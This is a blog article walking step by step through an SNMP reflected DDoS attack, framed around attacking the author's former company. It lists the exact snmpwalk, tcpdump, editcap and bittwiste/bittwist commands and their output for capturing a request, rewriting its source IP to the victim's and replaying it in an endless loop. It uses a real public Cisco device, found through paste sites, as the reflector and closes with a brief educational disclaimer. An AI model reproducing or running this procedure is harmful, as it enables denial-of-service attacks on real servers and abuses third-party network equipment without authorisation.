What about 0-day bugs & exploits in the running snmp services? Yes i have to admit that it is a rare scenario, although not impossible specially for the network devices were we have infrequent or nonexistent OS updates.

But the real security hazard is the actual implementation of the SNMP protocol. In a common SNMP v1 and v2 transaction, the client sends a SNMP request with the relevant OID code and the SNMP server replies with the relevant data. SNMP is a connectionless UDP based protocol making it extremely vulnerable to IP spoofing. Somebody can capture a legitimate SNMP request, alter the source IP with an other and sends the request to the SNMP server on behalf of the edited IP. The response packet will be sent to the new IP address.

Let us assume the following scenario:
I want to conduct a DDoS attack targeting the main server of my ex company. I have scanned large subnets and found out open SNMP services (mostly routers, switches and network printers) knowing their public communities. Then I create a lot of SNMP request packets with victim’s server IP address as source and the list of the public SNMP services as destination addresses. The packet generator runs into loops to create large amounts of SNMP requests on behalf of the victim machine. All the SNMP responses with relevant payload are delivered to the victim server causing congestion and exhaustion to its resources.

The above scenario is the so called “SNMP Reflected Denial of Service“. Of course some ISPs, enterprise border routers and firewalls have mechanisms to prevent IP spoofing, although there exist techniques to bypass them that are beyond the scope of this article.

To present the convenience of the spoofed packet generation, I will present with every detail the whole procedure using the relevant tools.

First of all lets find out a publicly accessed SNMP service. When we talk about SNMP the first that comes to my mind is a Cisco device. The trivial method to discover an open service is to scan large subnets using relevant networking scanning tools. I will use a different approach using pastenum to search into text dump sites. Giving some Cisco configuration strings as input to pastenum, the first result have lead me to the 173.165.68.49 Cisco device.

Now that we have a public community lets create the test network as showed in the following image:

192.168.2.4 is the attacker’s machine.
192.168.2.5 is a test machine in which we will test our scenario before attacking the victim.
192.168.2.7 is the victim server.

Lets create now a simple snmp request using the snmpwalk tool, while in parallel we capture the traffic using the tcpdump tool.

root@192.168.2.4:~# snmpwalk -v 2c -c public 173.165.68.49 1.3.6.1
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Fri 07-Sep-07 16:05 by prod_rel_team

root@192.168.2.4:~# tcpdump -nnvvSX -s 0 -i wlan0 -w capture.pcap
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes 
 
36 packets received by filter
0 packets dropped by kernel

Using wireshark we can have a deeper look into the capture file and more specifically to the SNMP request.

Now that have studied the SNMP request packet form, lets isolate the first SNMP request (packet number 7) using the editcap tool.

root@192.168.2.4:~# editcap -r capture.pcap snmp_req.pcap 7
Add_Selected: 7
Not inclusive ... 7
root@192.168.2.4:~# tcpdump -nnvvSX -r snmp_req.pcap
reading from file snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
    192.168.2.4.52717 > 173.165.68.49.161: [udp sum ok]  { SNMPv2c { GetNextRequest(23) R=184115647  .1.3.6.1 } }
	0x0000:  4500 0042 0000 4000 4011 8628 c0a8 0204  E..B..@.@..(....
	0x0010:  ada5 4431 cded 00a1 002e 0876 3024 0201  ..D1.......v0$..
	0x0020:  0104 0670 7562 6c69 63a1 1702 040a f961  ...public......a
	0x0030:  bf02 0100 0201 0030 0930 0706 032b 0601  .......0.0...+..
	0x0040:  0500                                     ..

The next step is to change the packet’s source IP address using the bittwiste packet editor which is part of the bittwist project. I will alter the source IP address from 192.168.2.4 to 192.168.2.5 which is an other PC in the subnet that we have access. The bittwiste tool automatically recalculates the new checksum. If you want more details about the tool you can refer to the official documentation.

root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed_snmp_req.pcap -T ip -p 17 -s 192.168.2.5
input file: snmp_req.pcap
output file: spoofed_snmp_req.pcap
 
1 packets (80 bytes) written
root@192.168.2.4:~# tcpdump -nnvvSX -r spoofed_snmp_req.pcap
reading from file spoofed_snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
    192.168.2.5.52717 > 173.165.68.49.161: [udp sum ok]  { SNMPv2c { GetNextRequest(23) R=184115647  .1.3.6.1 } }
	0x0000:  4500 0042 0000 4000 4011 8627 c0a8 0205  E..B..@.@..'....
	0x0010:  ada5 4431 cded 00a1 002e 0875 3024 0201  ..D1.......u0$..
	0x0020:  0104 0670 7562 6c69 63a1 1702 040a f961  ...public......a
	0x0030:  bf02 0100 0201 0030 0930 0706 032b 0601  .......0.0...+..
	0x0040:  0500

Now we need to send the new request with the spoofed IP using a packet generator, i choose the bittwist tool. In order to confirm that the answer to the request reaches the spoofed source i will launch a tcpdump capture to the 192.168.2.5 machine.

Firstly i use -d option of bittwist to list the interfaces and then i use the wlan0 device to send the spoofed packet.

root@192.168.2.4:~# bittwist -d
1. eth0
2. wlan0
3. usbmon1 (USB bus number 1)
4. usbmon2 (USB bus number 2)
5. usbmon3 (USB bus number 3)
6. usbmon4 (USB bus number 4)
7. usbmon5 (USB bus number 5)
8. usbmon6 (USB bus number 6)
9. usbmon7 (USB bus number 7)
10. vmnet8
11. usbmon8 (USB bus number 8)
12. any (Pseudo-device that captures on all interfaces)
13. lo
root@192.168.2.4:~# bittwist -i 2 spoofed_snmp_req.pcap
sending packets through wlan0
trace file: spoofed_snmp_req.pcap
 
1 packets (80 bytes) sent
Elapsed time = 0.000143 seconds

root@192.168.2.5:~# tcpdump -nnvvSX -s 0 -i eth0 -w capture.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
 
19 packets received by filter
0 packets dropped by kernel
root@192.168.2.5:~#
root@192.168.2.5:~# tcpdump -nnvvSX -r capture.pcap | grep SNMP
reading from file capture.pcap, link-type EN10MB (Ethernet)
22:15:20.295633 IP (tos 0x38, ttl 238, id 56597, offset 0, flags [none], proto UDP (17), length 330) 173.165.68.49.161 > 192.168.2.5.52717: [udp sum ok]  { SNMPv2c { GetResponse(283) R=184115647  .1.3.6.1.2.1.1.1.0="Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)^M^JTechnical Support: http://www.cisco.com/techsupport^M^JCopyright (c) 1986-2007 by Cisco Systems, Inc.^M^JCompiled Fri 07-Sep-07 16:05 by prod_rel_team" } }

Knowing that our scenario works it is time to launch the actual attack to the target machine. We use again the bittwiste editor to change the source to 192.168.2.7 which is the victim’s IP address.

root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed2_snmp_req.pcap -T ip -p 17 -s 192.168.2.7
input file: snmp_req.pcap
output file: spoofed2_snmp_req.pcap
 
1 packets (80 bytes) written

In order to see the bandwidth impact results, i will not send only one packet like our previous attempt, instead i will use the infinite loop flag from the bittwist packet generator.

root@192.168.2.4:~# bittwist -i 2 spoofed2_snmp_req.pcap -l 0
trace file: spoofed2_snmp_req.pcap
trace file: spoofed2_snmp_req.pcap
...
 
2061710 packets (164936800 bytes) sent
Elapsed time = 140.923743 seconds

I used the simple bandwidthd monitor tool to measure the bandwidth load. From the following graph it is pretty obvious that ~2M packets from only one source caused a measurable load to the victim machine. We reached a peak of ~40KB/sec while the normal UDP traffic is bellow 4KB/sec

Apart from the network load that i showed, an attacker can cause a service load too. This can be done by changing the SNMP request source port, using a victim’s open UDP port. This attack results in a great load to the running service that knees down the machine.

Conclusions:

It is now pretty obvious from the above facts that publicly accessible SNMP services can cause great loads to victim servers. Attackers can successfully launch DDoS attacks without needing to control large botnets. A few hosts that run the packet generation scripts are enough to conduct an efficient Reflected DDoS attack.
Till now i have never run this attack scenario in a large scale environment to include more details about the SNMP Reflected DDoS results. Although it is in my future plans to conduct a relative research.

PS: If someone have come across with a relative research, I would appreciate if he/she sent me an email with the sources.

DISCLAIMER: I’m not responsible with what you do with this info. This information is for educational purposes only.

A. Bechtsoudis